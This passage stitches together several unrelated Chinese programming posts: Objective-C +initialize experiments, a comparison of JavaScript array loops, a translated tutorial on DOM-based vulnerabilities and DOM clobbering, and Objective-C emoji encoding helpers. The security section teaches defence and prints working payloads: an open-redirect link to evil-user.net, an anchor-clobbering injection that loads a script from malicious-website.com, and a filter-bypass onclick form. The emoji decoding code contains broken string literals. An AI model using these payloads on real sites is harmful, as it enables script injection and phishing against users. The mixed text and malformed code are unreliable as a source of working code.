    @autoreleasepool {

        

        [TCPerson alloc];

    }

    return 0;

}

运行结果：

2020-12-04 14:59:17.417072+0800 TCCateogry[1616:79391] TCPerson (TCtest2) +initialize

Program ended with exit code: 0

从上面的输出结果我们可以看到，TCPerson (TCtest2) +initialize打印

load是直接函数指针直接调用，类，分类，继承等等

[TCPerson alloc]就是相当于该类发送消息，但是它只会调用类，分类的其中一个（取决于编译顺序，从输出结果可以看出，initialize走的是objc_msgSend，而load直接通过函数指针直接调用，所以initialize通过isa方法查找调用

多次向TCPerson发送消息的输出结果

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        

        [TCPerson alloc];

        [TCPerson alloc];

        [TCPerson alloc];

        [TCPerson alloc];

    }

    return 0;

}

输出结果：

2020-12-04 15:11:12.246442+0800 TCCateogry[1659:85317] TCPerson (TCtest2) +initialize

Program ended with exit code: 0

initialize只会调用一次

我们再来看看继承关系中，initialize的调用

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        [TCStudent alloc];

      

    }

    return 0;

}

输出结果：

2020-12-04 15:14:58.705423+0800 TCCateogry[1705:87507] TCPerson (TCtest2) +initialize

2020-12-04 15:14:58.705750+0800 TCCateogry[1705:87507] TCStudent (TCStudentTest2) +initialize

Program ended with exit code: 0

从输出结果来看，子类调用initialize之前，会先调用父类的initialize，再调用自己的initialize，当然无论父类调用initialize，还是子类调用initialize，如果有多个分类（这里指的是父类调用父类的分类，子类调用子类的分类），调用initialize取决于分类的编译顺序（调用后编译分类中的initialize，类似于压栈，先进后出），值得注意的是，无论父类子类的initialize，都只调用一次

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        [TCPerson alloc];

        [TCPerson alloc];

        [TCStudent alloc];

        [TCStudent alloc];

    }

    return 0;

}

输出结果：

020-12-04 15:23:27.168243+0800 TCCateogry[1731:91248] TCPerson (TCtest2) +initialize

2020-12-04 15:23:27.168601+0800 TCCateogry[1731:91248] TCStudent (TCStudentTest2) +initialize

Program ended with exit code: 0

如果子类（子类的分类也不实现）不实现initialize，则父类的initialize就调用多次

#import "TCStudent.h"



@implementation TCStudent

//+ (void)initialize{

//    NSLog(@"TCStudent +initialize");

//}

@end

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        [TCPerson alloc];   

        [TCStudent alloc];

    }

    return 0;

}

输出结果：

2020-12-04 15:37:09.055459+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize

2020-12-04 15:37:09.055775+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize

Program ended with exit code: 0

如果子类（子类的分类实现initialize）不实现initialize，则子类的initialize不会调用，调用子类分类的initialize（当然多个分类的话，调用哪个的initialize取决于编译顺序）

#import "TCStudent.h"



@implementation TCStudent

+ (void)initialize{

    NSLog(@"TCStudent +initialize");

}

@end

#import "TCStudent+TCStudentTest1.h"



@implementation TCStudent (TCStudentTest1)

+ (void)initialize{

    NSLog(@"TCStudent (TCStudentTest1) +initialize");

}

@end#import "TCStudent+TCStudentTest2.h"



@implementation TCStudent (TCStudentTest2)

+ (void)initialize{

    NSLog(@"TCStudent (TCStudentTest2) +initialize");

}

@end

输出结果：

2020-12-04 15:41:21.863260+0800 TCCateogry[1868:100750] TCPerson (TCtest2) +initialize

2020-12-04 15:41:21.863568+0800 TCCateogry[1868:100750] TCStudent (TCStudentTest2) +initialize

Program ended with exit code: 0

作者：枫紫_6174
链接：https://www.jianshu.com/p/f0150edc0f42

本文比较并总结遍历数组的四种方式：

• for 循环：

for (let index=0; index < someArray.length; index++) {

  const elem = someArray[index];

  // ···

}

• for-in 循环：

for (const key in someArray) {

  console.log(key);

}

• 数组方法 .forEach()：

someArray.forEach((elem, index) => {

  console.log(elem, index);

});

• for-of 循环：

for (const elem of someArray) {

  console.log(elem);

}

for-of 通常是最佳选择。我们会明白原因。

for 循环 [ES1]

JavaScript 中的 for 循环很古老，它在 ECMAScript 1 中就已经存在了。for 循环记录 arr 每个元素的索引和值：

const arr = ['a', 'b', 'c'];

arr.prop = 'property value';



for (let index=0; index < arr.length; index++) {

  const elem = arr[index];

  console.log(index, elem);

}



// Output:

// 0, 'a'

// 1, 'b'

// 2, 'c'

for 循环的优缺点是什么？

• 它用途广泛，但是当我们要遍历数组时也很麻烦。
• 如果我们不想从第一个数组元素开始循环时它仍然很有用，用其他的循环机制很难做到这一点。

for-in循环 [ES1]

for-in 循环与 for 循环一样古老，同样在 ECMAScript 1中就存在了。下面的代码用 for-in 循环输出 arr 的 key：

const arr = ['a', 'b', 'c'];

arr.prop = 'property value';



for (const key in arr) {

  console.log(key);

}



// Output:

// '0'

// '1'

// '2'

// 'prop'

for-in 不是循环遍历数组的好方法：

• 它访问的是属性键，而不是值。
• 作为属性键，数组元素的索引是字符串，而不是数字。
• 它访问的是所有可枚举的属性键（自己的和继承的），而不仅仅是 Array 元素的那些。

for-in 访问继承属性的实际用途是：遍历对象的所有可枚举属性。

数组方法 .forEach() [ES5]

鉴于 for 和 for-in 都不特别适合在数组上循环，因此在 ECMAScript 5 中引入了一个辅助方法：Array.prototype.forEach()：

const arr = ['a', 'b', 'c'];

arr.prop = 'property value';



arr.forEach((elem, index) => {

  console.log(elem, index);

});



// Output:

// 'a', 0

// 'b', 1

// 'c', 2

这种方法确实很方便：它使我们无需执行大量操作就能够可访问数组元素和索引。如果用箭头函数（在ES6中引入）的话，在语法上会更加优雅。

.forEach() 的主要缺点是：

• 不能在它的循环体中使用 await。
• 不能提前退出 .forEach() 循环。而在 for 循环中可以使用 break。

中止 .forEach() 的解决方法

如果想要中止 .forEach() 之类的循环，有一种解决方法：.some() 还会循环遍历所有数组元素，并在其回调返回真值时停止。

const arr = ['red', 'green', 'blue'];

arr.some((elem, index) => {

  if (index >= 2) {

    return true; // 中止循环

  }

  console.log(elem);

  //此回调隐式返回 `undefined`，这

  //是一个伪值。 因此，循环继续。

});



// Output:

// 'red'

// 'green'

可以说这是对 .some() 的滥用，与 for-of 和 break 比起来，要理解这段代码并不容易。

for-of 循环 [ES6]

for-of 循环在 ECMAScript 6 开始支持：

const arr = ['a', 'b', 'c'];

arr.prop = 'property value';



for (const elem of arr) {

  console.log(elem);

}

// Output:

// 'a'

// 'b'

// 'c'

for-of 在循环遍历数组时非常有效：

• 用来遍历数组元素。

• 可以使用 await

  • 如果有需要，可以轻松地迁移到 for-await-of。
• 甚至可以将 break 和 continue 用于外部作用域。

for-of 和可迭代对象

for-of 不仅可以遍历数组，还可以遍历可迭代对象，例如遍历 Map：

const myMap = new Map()

  .set(false, 'no')

  .set(true, 'yes')

;

for (const [key, value] of myMap) {

  console.log(key, value);

}



// Output:

// false, 'no'

// true, 'yes'

遍历 myMap 会生成 [键，值] 对，可以通过对其进行解构来直接访问每一对数据。

for-of 和数组索引

数组方法 .entries() 返回一个可迭代的 [index，value] 对。如果使用 for-of 并使用此方法进行解构，可以很方便地访问数组索引：

const arr = ['chocolate', 'vanilla', 'strawberry'];



for (const [index, elem] of arr.entries()) {

  console.log(index, elem);

}

// Output:

// 0, 'chocolate'

// 1, 'vanilla'

// 2, 'strawberry'

总结

for-of 循环的的可用性比 for，for-in 和 .forEach() 更好。

通常四种循环机制之间的性能差异应该是无关紧要。如果你要做一些运算量很大的事，还是切换到 WebAssembly 更好一些。

原文链接：https://segmentfault.com/a/1190000039308259

DOM-based vulnerabilities

在本节中，我们将描述什么是 DOM ，解释对 DOM 数据的不安全处理是如何引入漏洞的，并建议如何在您的网站上防止基于 DOM 的漏洞。

什么是 DOM

Document Object Model（DOM）文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象，以及它们的属性。DOM 操作本身不是问题，事实上，它也是现代网站中不可或缺的一部分。然而，不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值（称为 source 源）并将其传递给一个危险函数（称为 sink 接收器）时，就会出现基于 DOM 的漏洞。

污染流漏洞

许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。

什么是污染流

要利用或者缓解这些漏洞，首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。

Source 源是一个 JavaScript 属性，它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性，因为它从 query 字符串中读取输入，这对于攻击者来说比较容易控制。总之，攻击者可以控制的任何属性都是潜在的源。包括引用 URL（ document.referrer ）、用户的 cookies（ document.cookie ）和 web messages 。

Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象，如果攻击者控制的数据被传递给它们，可能会导致不良后果。例如，eval() 函数就是一个 sink ，因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ，因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。

从根本上讲，当网站将数据从 source 源传递到 sink 接收器，且接收器随后在客户端会话的上下文中以不安全的方式处理数据时，基于 DOM 的漏洞就会出现。

最常见的 source 源就是 URL ，其可以通过 location 对象访问。攻击者可以构建一个链接，以让受害者访问易受攻击的页面，并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码：

goto = location.hash.slice(1)

if(goto.startsWith('https:')) {

  location = goto;

}

这是一个基于 DOM 的开放重定向漏洞，因为 location.hash 源被以不安全的方式处理。这个代码的意思是，如果 URL 的 fragment 部分以 https 开头，则提取当前 location.hash 的值，并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞：

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此 URL 时，JavaScript 就会将 location 设置为 www.evil-user.net ，也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。

常见的 source 源

以下是一些可用于各种污染流漏洞的常见的 source 源：

document.URL

document.documentURI

document.URLUnencoded

document.baseURI

location

document.cookie

document.referrer

window.name

history.pushState

history.replaceState

localStorage

sessionStorage

IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)

Database

以下数据也可以被用作污染流漏洞的 source 源：

• Reflected data 反射数据
• Stored data 存储数据
• Web messages

哪些 sink 接收器会导致基于 DOM 的漏洞

下面的列表提供了基于 DOM 的常见漏洞的快速概述，并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。

如何防止基于 DOM 的污染流漏洞

没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而，一般来说，避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。

如果应用程序所需的功能意味着这种行为是不可避免的，则必须在客户端代码内实施防御措施。在许多情况下，可以根据白名单来验证相关数据，仅允许已知安全的内容。在其他情况下，有必要对数据进行清理或编码。这可能是一项复杂的任务，并且取决于要插入数据的上下文，它可能需要按照适当的顺序进行 JavaScript 转义，HTML 编码和 URL 编码。

有关防止特定漏洞的措施，请参阅上表链接的相应漏洞页面。

DOM clobbering

DOM clobbering 是一种高级技术，具体而言就是你可以将 HTML 注入到页面中，从而操作 DOM ，并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量，然后该变量将会被应用程序以不安全的方式使用，例如生成动态脚本 URL 。

DOM clobbering

在本节中，我们将描述什么是 DOM clobbing ，演示如何使用 clobbing 技术来利用 DOM 漏洞，并提出防御 DOM clobbing 攻击的方法。

什么是 DOM clobbering

DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ，但是可以控制页面上 HTML 白名单属性如 id 或 name 时，DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量，然后该变量将会被应用程序以不安全的方式使用，例如生成动态脚本 URL 。

术语 clobbing 来自以下事实：你正在 “clobbing”（破坏） 一个全局变量或对象属性，并用 DOM 节点或 HTML 集合去覆盖它。例如，可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称，去干扰表单真正的 submit() 函数。

如何利用 DOM-clobbering 漏洞

某些 JavaScript 开发者经常会使用以下模式：

var someObject = window.someObject || {};

如果你能控制页面上的某些 HTML ，你就可以破坏 someObject 引用一个 DOM 节点，例如 anchor 。考虑如下代码：

<script>

 window.onload = function(){

    let someObject = window.someObject || {};

    let script = document.createElement('script');

    script.src = someObject.url;

    document.body.appendChild(script);

 };

</script>

要利用此易受攻击的代码，你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素：

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于使用了两个相同的 ID ，因此 DOM 会把他们归为一个集合，然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性，以破坏 someObject 对象的 url 属性，从而指向一个外部脚本。

另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如，破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性，但实际上不会删除任何属性，因为该属性已经被 DOM 节点破坏。结果就是，你将能够注入通常会被过滤掉的恶意属性。例如，考虑以下注入：

<form onclick=alert(1)><input id=attributes>Click me

在这种情况下，客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下，过滤器将循环遍历 form 元素的 attributes 属性，并删除所有列入黑名单的属性。但是，由于 attributes 属性已经被 input 元素破坏，所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定，因此过滤器 for 循环的条件（例如 i < element.attributes.length）不满足，过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略，其将会在浏览器中调用 alert() 方法。

如何防御 DOM-clobbering 攻击

简而言之，你可以通过检查以确保对象或函数符合你的预期，来防御 DOM-clobbering 攻击。例如，你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例，从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。

你还应该避免全局变量与或运算符 || 一起引用，因为这可能导致 DOM clobbering 漏洞。

总之：

• 检查对象和功能是否合法。如果要过滤 DOM ，请确保检查的对象或函数不是 DOM 节点。
• 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。
• 使用经过良好测试的库，例如 DOMPurify 库，这也可以解决 DOM clobbering 漏洞的问题。

emoji在社交类APP很常用,比如发动态,圈子,还有回复评论,还有会话

后台在处理emoji的态度,直接就是不处理,所以我们需要对emoji包括中文,数字,还有特殊字符进行编码还有解码

//编码

NSString *uniStr = [NSString stringWithUTF8String:[_barrageText.text UTF8String]];
NSData *uniData = [uniStr dataUsingEncoding:NSNonLossyASCIIStringEncoding];
NSString *goodStr = [[NSString alloc] initWithData:uniData encoding:NSUTF8StringEncoding] ;
NSLog(@"---编码--->[%@]",goodStr);

//解码

const char *jsonString = [goodStr UTF8String];   // goodStr 服务器返回的 json
NSData *jsonData = [NSData dataWithBytes:jsonString length:strlen(jsonString)];
NSString *goodMsg1 = [[NSString alloc] initWithData:jsonData encoding:NSNonLossyASCIIStringEncoding];
NSLog(@"---解码--->[%@]",goodMsg1);

2017-05-15 10:16:17.858 DFRomwe[650:153981] ---编码--->[hello\ud83d\ude18\ud83d\ude18world\u4e16\u754chaha\ud83d\ude17]
2017-05-15 10:16:17.859 DFRomwe[650:153981] ---解码--->[hello😘😘world世界haha😗]

总想着事情就能这么轻松解决!!!
可是,然后,呵呵呵,你不去了解一下东西,还是不行的
果然,后台不作处理的情况下,如果返回JSON这就不行了,因为会默认带有转义字符: *** "\" *** 会导致下面这个情况:

//在这里以😀表情为例,😀的Unicode编码为U+1F604,UTF-16编码为:\ud83d\ude04
NSString * emojiUnicode = @"\U0001F604";
NSLog(@"emojiUnicode:%@",emojiUnicode);
//如果直接输入\ud83d\ude04会报错，加了转义后不会报错，但是会输出字符串\ud83d\ude04,而不是😀
NSString * emojiUTF16 = @"\\ud83d\\ude04";
NSLog(@"emojiUTF16:%@",emojiUTF16);
//转换
emojiUTF16 = [NSString stringWithCString:[emojiUTF16 cStringUsingEncoding:NSUTF8StringEncoding] encoding:NSNonLossyASCIIStringEncoding];
NSLog(@"emojiUnicode2:%@",emojiUTF16);

输出：

emojiUnicode:😄
emojiUnicode1:\ud83d\ude04
emojiUnicode2:😄

果断百度另外的方法

//解码
- (NSString *)decodeEmoji{
NSString *tepStr1 ;
if ([self containsString:@"\\u"]) {
tepStr1 = [self stringByReplacingOccurrencesOfString:@"\\u"withString:@"\U"];
}else{
tepStr1 = [self stringByReplacingOccurrencesOfString:@"\u"withString:@"\U"];
}
NSString *tepStr2 = [tepStr1 stringByReplacingOccurrencesOfString:@"""withString:@"\""];
NSString *tepStr3 = [[@""" stringByAppendingString:tepStr2]stringByAppendingString:@"""];
NSData *tepData = [tepStr3 dataUsingEncoding:NSUTF8StringEncoding];
NSString *axiba = [NSPropertyListSerialization propertyListWithData:tepData options:NSPropertyListMutableContainers format:NULL error:NULL];
return [axiba stringByReplacingOccurrencesOfString:@"\r\n"withString:@"\n"];
}

//编码
- (NSString *)encodeEmoji{

NSUInteger length = [self length];
    NSMutableString *s = [NSMutableString stringWithCapacity:0];
    
    for (int i = 0;i < length; i++){
        unichar _char = [self characterAtIndex:i];
        //判断是否为英文和数字
        if (_char <= '9' && _char >='0'){
            [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
        }else if(_char >='a' && _char <= 'z'){
            [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
        }else if(_char >='A' && _char <= 'Z')
        {
            [s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
        }else{
            [s appendFormat:@"\\"];

            [s appendFormat:@"\\u%x",[self characterAtIndex:i]];
        }
    }
    return s;
    
}

这是从JSON解码与编码,其实原理也很简单:

A :就是把多余的转义斜杠扔掉,

B :然后Unicode转utf-8;

C :然后utf-8转Unicode;

这里我写了一个NSString的一个分类:#import "NSString+Emoji.h"

还添加了一些方法:

//判断是否存在emoji表情:因为emoji表情室友Unicode编码区间的

+ (BOOL)stringContainsEmoji:(NSString *)string
{
__block BOOL returnValue = NO;
[string enumerateSubstringsInRange:NSMakeRange(0, [string length])
options:NSStringEnumerationByComposedCharacterSequences
usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) {
const unichar hs = [substring characterAtIndex:0];
if (0xd800 <= hs && hs <= 0xdbff) {
if (substring.length > 1) {
const unichar ls = [substring characterAtIndex:1];
const int uc = ((hs - 0xd800) * 0x400) + (ls - 0xdc00) + 0x10000;
if (0x1d000 <= uc && uc <= 0x1f77f) {
returnValue = YES;
}
}
} else if (substring.length > 1) {
const unichar ls = [substring characterAtIndex:1];
if (ls == 0x20e3) {
returnValue = YES;
}
} else {
if (0x2100 <= hs && hs <= 0x27ff) {
returnValue = YES;
} else if (0x2B05 <= hs && hs <= 0x2b07) {

returnValue = YES;
                                    } else if (0x2934 <= hs && hs <= 0x2935) {
                                        returnValue = YES;
                                    } else if (0x3297 <= hs && hs <= 0x3299) {
                                        returnValue = YES;
                                    } else if (hs == 0xa9 || hs == 0xae || hs == 0x303d || hs == 0x3030 || hs == 0x2b55 || hs == 0x2b1c || hs == 0x2b1b || hs == 0x2b50) {
                                        returnValue = YES;
                                    }
                                }
                                
                            }];
    return returnValue;
}

//判断是否存在中文
//因为要保证之前的utf-8的数据也能显示
- (BOOL)includeChinese
{
for(int i=0; i< [self length];i++)
{
int a =[self characterAtIndex:i];
if( a >0x4e00&& a <0x9fff){
return YES;
}
}
return NO;
}

//判断是否以中文开头

- (BOOL)JudgeChineseFirst{
    //是否以中文开头(unicode中文编码范围是0x4e00~0x9fa5)
    int utfCode = 0;
    void *buffer = &utfCode;
    NSRange range = NSMakeRange(0, 1);
    //判断是不是中文开头的,buffer->获取字符的字节数据 maxLength->buffer的最大长度 usedLength->实际写入的长度，不需要的话可以传递NULL encoding->字符编码常数，不同编码方式转换后的字节长是不一样的，这里我用了UTF16 Little-Endian，maxLength为2字节，如果使用Unicode，则需要4字节 options->编码转换的选项，有两个值，分别是NSStringEncodingConversionAllowLossy和NSStringEncodingConversionExternalRepresentation range->获取的字符串中的字符范围,这里设置的第一个字符 remainingRange->建议获取的范围，可以传递NULL
    BOOL b = [self getBytes:buffer maxLength:2 usedLength:NULL encoding:NSUTF16LittleEndianStringEncoding options:NSStringEncodingConversionExternalRepresentation range:range remainingRange:NULL];
    if (b && (utfCode >= 0x4e00 && utfCode <= 0x9fa5))
        return YES;
    else
        return NO;
}